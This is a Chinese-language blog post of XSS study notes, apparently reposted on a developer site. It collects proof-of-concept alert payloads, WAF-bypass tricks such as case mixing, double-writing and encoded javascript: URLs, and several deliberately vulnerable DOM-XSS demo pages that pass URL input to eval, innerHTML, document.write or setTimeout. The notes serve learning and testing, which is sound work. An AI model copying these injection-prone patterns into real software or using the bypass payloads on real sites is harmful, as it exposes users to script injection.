XSS学习小记

栏目: 编程工具 · 发布时间: 5年前

内容简介:地址:参考wp:小记:

地址: http://test.xss.tv/

参考wp: https://xz.aliyun.com/t/1206

小记:

  1. <input> 标签里面可触发alert的事件 oninputonchange

  2. <a> href的javascript

    <a href="javascript:alert(/1/)">axxx</a>
    
  3. 有waf过滤时,多查看源码,看看payload发生了什么变化

    常用绕过方式 双写绕过 大小写绕过
    
  4. 协议绕过

  5. Javascript:伪协议后面可以使用URL编码。
    如:<a href="javas%09cript:alert(1)">click me</a>可成功执行弹窗。
    可用img就不行:<img src=1 onerror="javas%09cript:alert(1)">
    因为href属性会跳转到其中的URL,而会进行URL解码,onerror属性只会执行JS,不跳转同时后面的url编码可以再做一次entity(HTML实体)编码:
    %09 --> TAB
    %0d --> 回车
    %0a --> 空格
    

    html标签不区分大小写,但是javascript区分大小写

    <iMg sRc=x onError=alert(1)>    弹窗
    <iMg sRc=x onError=aLert(1)>    不弹窗
    
  6. referer和User-Agent和xff cookie等也可能造成XSS(当这些信息会输出到页面时)

  7. angularjs的ng-include 加载外面html导致的XSS

    ?src='level1.php?name=test<img src=1 onerror=alert(1)>'
    
  8. flash xss

    flash xss可使用JPEXS 对下载的flash进行逆向分析,找到关键函数

    Flash xss检测脚本的简单实现 https://www.freebuf.com/sectool/108568.html

dom-xss

一个简单的demo

test.html

<html>
<head>
    <meta charset="utf-8">
    <title>XSSdemo</title>
</head>
<script>    
	eval(location.hash.substr(1));
</script>
<body>
    test
</body>
</html>

payload

xxxxx/test.html#alert(1);

分析

location.hash.substr(1)

提取出来的是

alert(1)

eval执行了alert(1),从而引发了xss

几种常见的dom型xss

使用document.write直接输出导致浏览器解析恶意代码

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title></title>
    <script type="text/javascript">
        var s=location.search;          //返回URL中的查询部分(?之后的内容)
          s=s.substring(1,s.length);    //返回整个查询内容
        var url="";                     //定义变量url
        if(s.indexOf("url=")>-1){       //判断URL是否为空 
          var pos=s.indexOf("url=")+4;  //过滤掉"url="字符
          url=s.substring(pos,s.length); //得到地址栏里的url参数
        }else{
          url="url参数为空";
        }
        document.write("url: <a href='"+url+"'>"+url+"</a>");  //输出
    </script>
  </head>
  <body>
  </body>
</html>

payload

xxx/test.html?url=javascript:alert(1)

使用innerHTML直接输出导致浏览器解析恶意代码

<!DOCTYPE html>
  <html>
    <head>
      <meta charset="utf-8">
      <title></title>
      <script type="text/javascript">
          var s=location.search;          //返回URL中的查询部分(?之后的内容)
            s=s.substring(1,s.length);    //返回整个查询内容
          var url="";                     //定义变量url
          if(s.indexOf("url=")>-1){       //判断URL是否为空
            var pos=s.indexOf("url=")+4;  //过滤掉"url="字符
            url=s.substring(pos,s.length); //得到地址栏里的url参数
          }else{
            url="url参数为空";
          }
      </script>
    </head>
    <body>
      <span id='test'><a href=""></a></span>
       <script type="text/javascript">document.getElementById("test").innerHTML="我的url是: <a href='"+url+"'>"+url+"</a>"; </script>
    </body>
  </html>

payload

xxx/test.html?url=javascript:alert(1)

使用location/location.href/location.replace/iframe.src造成的XSS

<!DOCTYPE html>
     <html>
       <head>
         <meta charset="utf-8">
         <title></title>
         <script type="text/javascript">
             var s=location.search;          //返回URL中的查询部分(?之后的内容)
               s=s.substring(1,s.length);    //返回整个查询内容
             var url="";                     //定义变量url
             if(s.indexOf("url=")>-1){       //判断URL是否为空
               var pos=s.indexOf("url=")+4;  //过滤掉"url="字符
               url=s.substring(pos,s.length); //得到地址栏里的url参数
             // }else{                        //此处注释掉
             //   url="url参数为空";          //此处注释掉
              }
         </script>
       </head>
       <body>
         <span id='test'><a href=""></a></span>
          <script type="text/javascript">location.href=url</script>
       </body>
     </html>

使用setTimeout/setInterval造成的XSS

<!DOCTYPE html>
       <html>
         <head>
           <meta charset="utf-8">
           <title></title>
           <script type="text/javascript">
               var s=location.search;          //返回URL中的查询部分(?之后的内容)
                 s=s.substring(1,s.length);    //返回整个查询内容
               var url="";                     //定义变量url
               if(s.indexOf("url=")>-1){       //判断URL是否为空
                 var pos=s.indexOf("url=")+4;  //过滤掉"url="字符
                 url=s.substring(pos,s.length); //得到地址栏里的url参数
                 }else{
                   url="url参数为空";
                }
           </script>
         </head>
         <body>
           <textarea id="test" rows="8" cols="40">2s获取url</textarea>
           <script type="text/javascript">
              function showURL(url){
                document.getElementById('test').value=url;
              }
              if(url!="url参数为空")
              setTimeout("showURL('"+url+"')",2000);
                   //setInterval("showURL('"+url+"')",3000);
           </script>
         </body>
       </html>

payload

test.html?url=aa');alert('xsstest');eval('

setTimeout变成

setTimeout(“showURL(‘“‘);alert(‘xsstest’);eval(‘+url+”‘)”,2000);

火狐下会自动对参数传输进行url编码

导致xss失败

输出为aa%27);alert(%27xsstest%27);eval(%27

edge下有效

dom-xss实例

色块XSS

test.htm

<script type="text/javascript">
varname = location.search.substr(1);
var varnames = varname.split('|');
varname = varnames[0];
varnamev = varnames[1];
fun = varnames[2] || '';
var colors = '\
000000#000000#000033#000066#000099#0000CC#0000FF#003300#003333#003366#003399#0033CC#0033FF#006600#006633#006666#006699#0066CC#0066FF#\
333333#009900#009933#009966#009999#0099CC#0099FF#00CC00#00CC33#00CC66#00CC99#00CCCC#00CCFF#00FF00#00FF33#00FF66#00FF99#00FFCC#00FFFF#\
666666#330000#330033#330066#330099#3300CC#3300FF#333300#333333#333366#333399#3333CC#3333FF#336600#336633#336666#336699#3366CC#3366FF#\
999999#339900#339933#339966#339999#3399CC#3399FF#33CC00#33CC33#33CC66#33CC99#33CCCC#33CCFF#33FF00#33FF33#33FF66#33FF99#33FFCC#33FFFF#\
CCCCCC#660000#660033#660066#660099#6600CC#6600FF#663300#663333#663366#663399#6633CC#6633FF#666600#666633#666666#666699#6666CC#6666FF#\
FFFFFF#669900#669933#669966#669999#6699CC#6699FF#66CC00#66CC33#66CC66#66CC99#66CCCC#66CCFF#66FF00#66FF33#66FF66#66FF99#66FFCC#66FFFF#\
FF0000#990000#990033#990066#990099#9900CC#9900FF#993300#993333#993366#993399#9933CC#9933FF#996600#996633#996666#996699#9966CC#9966FF#\
00FF00#999900#999933#999966#999999#9999CC#9999FF#99CC00#99CC33#99CC66#99CC99#99CCCC#99CCFF#99FF00#99FF33#99FF66#99FF99#99FFCC#99FFFF#\
0000FF#CC0000#CC0033#CC0066#CC0099#CC00CC#CC00FF#CC3300#CC3333#CC3366#CC3399#CC33CC#CC33FF#CC6600#CC6633#CC6666#CC6699#CC66CC#CC66FF#\
FFFF00#CC9900#CC9933#CC9966#CC9999#CC99CC#CC99FF#CCCC00#CCCC33#CCCC66#CCCC99#CCCCCC#CCCCFF#CCFF00#CCFF33#CCFF66#CCFF99#CCFFCC#CCFFFF#\
00FFFF#FF0000#FF0033#FF0066#FF0099#FF00CC#FF00FF#FF3300#FF3333#FF3366#FF3399#FF33CC#FF33FF#FF6600#FF6633#FF6666#FF6699#FF66CC#FF66FF#\
FF00FF#FF9900#FF9933#FF9966#FF9999#FF99CC#FF99FF#FFCC00#FFCC33#FFCC66#FFCC99#FFCCCC#FFCCFF#FFFF00#FFFF33#FFFF66#FFFF99#FFFFCC#FFFFFF';
var colorarray = colors.split('#');
var setv = '';
function showcolors() {
	var s = '';
	for(c in colorarray) {
		s += '<em onmouseover="v(\'' + colorarray[c] + '\')" style="background-color:#' + colorarray[c] + '"></em>';
	}
	document.getElementById('colors').innerHTML = s;
}

function setvalue(obj) {
	if(varname) {
		parent.$(varname).style.backgroundColor = setv;
	}
	if(varnamev) {
		parent.$(varnamev).value = setv;
	}
	if(fun) eval('parent.'+fun+'("'+setv+'")');
}

function v(v) {
	v = v != 'transparent' ? '#' + v : 'transparent';
	document.getElementById('p').style.backgroundColor = v;
	setv = v;
	document.getElementById('pv').innerHTML = v;
}

</script>
<style>
body { margin:0px;background-color:#333; }
#h { padding:0;width:210px;height:15px;background-color:#CCC;overflow:hidden;}
#p { margin:0;display:block;float:left;font-size:0;width:140px;height:13px;background:#DDF0DF; }
#pv { margin:0;display:block;float:left;font-size:12px;width:58px;height:13px;overflow:hidden;text-align: right;font-style:normal;background:#DDF0DF; }
#colors { clear:both;width:209px; height:133px; }
#colors em, .trans { font-size:0;margin:1px 0 0 1px;width:10px;height:10px;float:left;cursor:pointer; }
.trans { background-color: #FFF; }
</style>

<body onmousedown="setvalue(document.getElementById('colorhex'))" scrolling="no">
<div id="h"><em id="p"></em><em id="pv"></em><em class="trans" onmouseover="v('transparent')" style="background-image:url('transcolor.gif')"></em></div>
<div id="colors"></div>
<script type="text/javascript">
showcolors();
try {document.getElementById('box').style.backgroundColor = cvalue;} catch(e) {}
</script>
</body>

payload

test.htm?||alert(/xss/)

这里是由于fun变量没有过滤导致的

fun = varnames[2] || '';       这里fun等于alert(/xss/)

eval函数执行 parent.alert(/xss/) 触发xss

	if(fun) eval('parent.'+fun+'("'+setv+'")');
}

以上所述就是小编给大家介绍的《XSS学习小记》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Ajax for Web Application Developers

Ajax for Web Application Developers

Kris Hadlock / Sams / 2006-10-30 / GBP 32.99

Book Description Reusable components and patterns for Ajax-driven applications Ajax is one of the latest and greatest ways to improve users’ online experience and create new and innovative web f......一起来看看 《Ajax for Web Application Developers》 这本书的介绍吧!

随机密码生成器
随机密码生成器

多种字符组合密码

MD5 加密
MD5 加密

MD5 加密工具

Markdown 在线编辑器
Markdown 在线编辑器

Markdown 在线编辑器